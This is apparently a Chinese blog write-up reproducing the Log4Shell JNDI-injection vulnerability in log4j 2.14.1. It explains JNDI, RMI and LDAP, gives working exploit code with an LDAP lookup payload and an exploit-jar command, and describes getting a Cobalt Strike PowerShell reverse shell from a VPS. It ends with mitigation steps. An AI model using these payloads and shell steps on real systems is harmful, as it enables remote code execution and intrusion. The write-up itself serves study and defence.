JNDI注入--Apache log4j 2 RCE
0x00 背景知识了解
JNDI
它的全称就是Java Naming and DirectoryInterface Java命名和目录接口,使用来为开发人查找和
访问各种资源提供的统一通用接口。
它就是一组API接口,每个对象都有一组唯一的键值来绑定。
而将名字和对象绑定就可以通过名字来检索指定的对象。
JNDI支持的主要服务
DNS、LDAP、RMI和CORBA等。
Java的RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法。RMI是Remote Method Invocation的缩写。
Java的RMI严重依赖序列化和反序列化,而这种情况下可能会造成严重的安全漏洞。
LDAP的中文全称是:轻量级目录访问协议
LDAP的结构用树来表示,而不是用表格,正因为这样,就不能用SQL语句了;
LDAP可以很快地得到查询结果,不过在写方面,就慢得多;
LDAP提供了静态数据的快速查询方式。
Java Naming
命名服务是一种键值对的绑定,使应用程序可以通过键检索值
Java Directory
目录服务是命名服务的自然扩展。这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。
ObjectFactory
它用于把Naming Service(RMI/LDAP),中存储的数据转换成Java中可表达的数据(对象或者是Java中基本数据类型)
JNDI注入的问题就是处在可远程下载自定义的ObjectFactory类上。
在JNDI中提供了绑定和查找的方法:
- bind:将名称绑定到对象中;
- lookup:通过名字检索执行的对象;
定义一个Perspn类:
import java.io.Serializable; import java.rmi.Remote; public class Person implements Remote, Serializable { private static final long serivalVersionUID = 1l; private String name,password; public String getName(){ return name; } public void setName(String name){ this.name = name; } public String getPassword(){ return password; } public void setPassword(String password){ this.password = password; } public String toString(){ return "name:"+name+"\n"+"password:"+password; } }
然后这里再写一个Server,把服务器端和客户端都写到一起了
import javax.naming.Context; import javax.naming.InitialContext; import java.rmi.registry.LocateRegistry; public class Server { public static void initPerson() throws Exception{ //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常 LocateRegistry.createRegistry(6666); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666"); //初始化 InitialContext ctx = new InitialContext(); //实例化person对象 Person p = new Person(); p.setName("test"); p.setPassword("hacjawker"); //person对象绑定到JNDI服务中,JNDI的名字叫做:person。 ctx.bind("person", p); ctx.close(); } public static void findPerson() throws Exception{ //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了 InitialContext ctx = new InitialContext(); //通过lookup查找person对象 Person person = (Person) ctx.lookup("person"); //打印出这个对象 System.out.println(person.toString()); ctx.close(); } public static void main(String[] args) throws Exception { initPerson(); findPerson(); } }
第一部分是initPerson()函数即服务端,其通过JNDI实现RMI服务,并通过JNDI的bind()函数将实例化的Person对象绑定到RMI服务中;
第二部分是findPerson()函数即客户端,其通过JNDI的lookup方法来检索person对象并输出出来。
Apache log4j 2 复现
0x01 复现环境
环境:攻击机运行idea 1.8.0 131 jdk环境,加载服务环境是jdk 11
0x02 复现过程
首先用maven创建Java项目,然后使用下面的pom,用maven去倒环境
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>log4j-rce</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> <!-- <dependency>--> <!-- <groupId>commons-collections</groupId>--> <!-- <artifactId>commons-collections</artifactId>--> <!-- <version>3.1</version>--> <!-- </dependency>--> </dependencies> </project>
用maven更新好,在写攻击代码,github上已经有很多了
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class); public static void main(String[] args) { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); logger.error("${jndi:ldap://127.0.0.1:1389/8tl9x7}"); } }
这里使用Injection-Exploit-1.0-SNAPSHOT-all.jar包来挂载服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"
然后执行log4j,弹出计算器
0x03 powershell登录
这里命令执行成功了,可以用powershell来反弹shell
记录一下getshell的过程,首先在VPS上挂载cs,然后登录cs客户端,生成powershell马
监听IP 端口配置,VPS上的端口一定要检查是否打开了,这里是666端口
然后选择生成无状态的木马
运行jar,生成了powershell木马执行 替换"calc" payload位置
然后运行log4j
成功返回 cs也弹到了shell
执行命令powershell whoami
不过现在补丁已经从rc1到rc2了,之前的补丁又被绕过了,现在没有特别好的方法来修复这个漏洞,
主要是涉及面和业务都很广。
0x04 修复
参考深蓝平台给出的修复方案:
1、如何排查项目中谁使用了含有漏洞log4j? 如果使用的是gradle,可以执行gradle dependencies查看。 如果使用的是maven,可以执行mvn dependency:tree查看。 2、如何处理漏洞? 对于能直接升级log4j2到版本2.15.0 rc2的系统来说,请尽量升级。 org.apache.logging.log4j:log4j-core:2.15.0 org.apache.logging.log4j:log4j:2.15.0 org.apache.logging.log4j:log4j-api:2.15.0 对于无法升级的系统,有如下解决方案: 如果是属于2.0-beta9到2.10.0版本,暂时处理方式是从类路径去除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。 如果版本> = 2.10,这个漏洞可以通过设置系统属性log4j2.formatMsgNoLookups或环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS为true来作为暂时解决方案。